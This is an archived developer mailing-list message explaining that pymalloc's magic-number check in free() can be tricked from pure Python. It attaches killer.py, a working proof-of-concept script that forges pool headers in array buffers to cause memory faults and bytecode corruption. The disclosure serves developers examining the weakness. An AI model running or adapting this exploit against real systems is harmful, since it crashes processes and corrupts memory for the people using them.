This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C1D5CC.E75470C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Recall that pymalloc delegates requests for "not small" blocks to the system malloc. This means that when pymalloc's free() is called, it has to figure out whether the address passed to it was one it allocated itself, or came from the system malloc. It uses 64 bits of magical info to determine this, based in part on address calculation. Vladimir claimed, and I agreed, that the chance of making a mistake here was insignificant. However, the question remained whether a hostile user could study the source code to mount a successful attack. Alas, it turns out that's easy. The attached was my first brute-force try at tricking pymalloc via pure Python code, and should break it quickly (within a few seconds) on any 32-bit little-endian box. It usually dies with a memory fault. I've also seen it trigger a bogus "unhashable type" error, and most worrisome a "SystemError: unknown opcode" error (showing it's possible to mutate bytecode via driving pymalloc insane). I ran this on Win98SE, and it seems it's also possible to provoke pymalloc into convincing the OS that the computer's modem is permanently busy (! of course a reboot fixed that). Given that there are other ways to provoke Python into crashing (and some much easier than this way), I don't know how seriously to take this. Historically, I'm usually hugging the end of the "who cares?" scale (I'm not sure I've ever seen a system I couldn't crash with a little effort -- and I have no idea how to stop me, let alone someone who's really keen to do damage). Please fight amongst yourselves <wink>. ------=_NextPart_000_0007_01C1D5CC.E75470C0 Content-Type: text/plain; name="killer.py" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="killer.py" import array import random import thread import time PAGE = 4096 MAGIC = 0x74D3A651 POOLADDR_OFS = 16 MAGIC_OFS = 20 def write4(a, ofs, value): # assuming little-endian is native for i in range(4): a[ofs + i] = chr(value & 0xff) value >>= 8 def corrupt(n): a = array.array('c', '\0' * n) assert a.itemsize == 1 lo, numelements = a.buffer_info() assert n == numelements hi = lo + n pagealigned = lo & ~(PAGE - 1) if pagealigned < lo: pagealigned += PAGE assert pagealigned >= lo while pagealigned + MAGIC_OFS + 4 <= hi: write4(a, pagealigned - lo + POOLADDR_OFS, pagealigned) write4(a, pagealigned - lo + MAGIC_OFS, MAGIC) pagealigned += PAGE return a def f(): x = [] while 1: x.append(corrupt(random.randrange(200000))) if len(x) > 5: del x[random.randrange(len(x))] print '*' * 79 def g(): import test.test_descr while 1: test.test_descr.test_main() def main(): thread.start_new_thread(f, ()) g() if __name__ == "__main__": main() ------=_NextPart_000_0007_01C1D5CC.E75470C0--
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4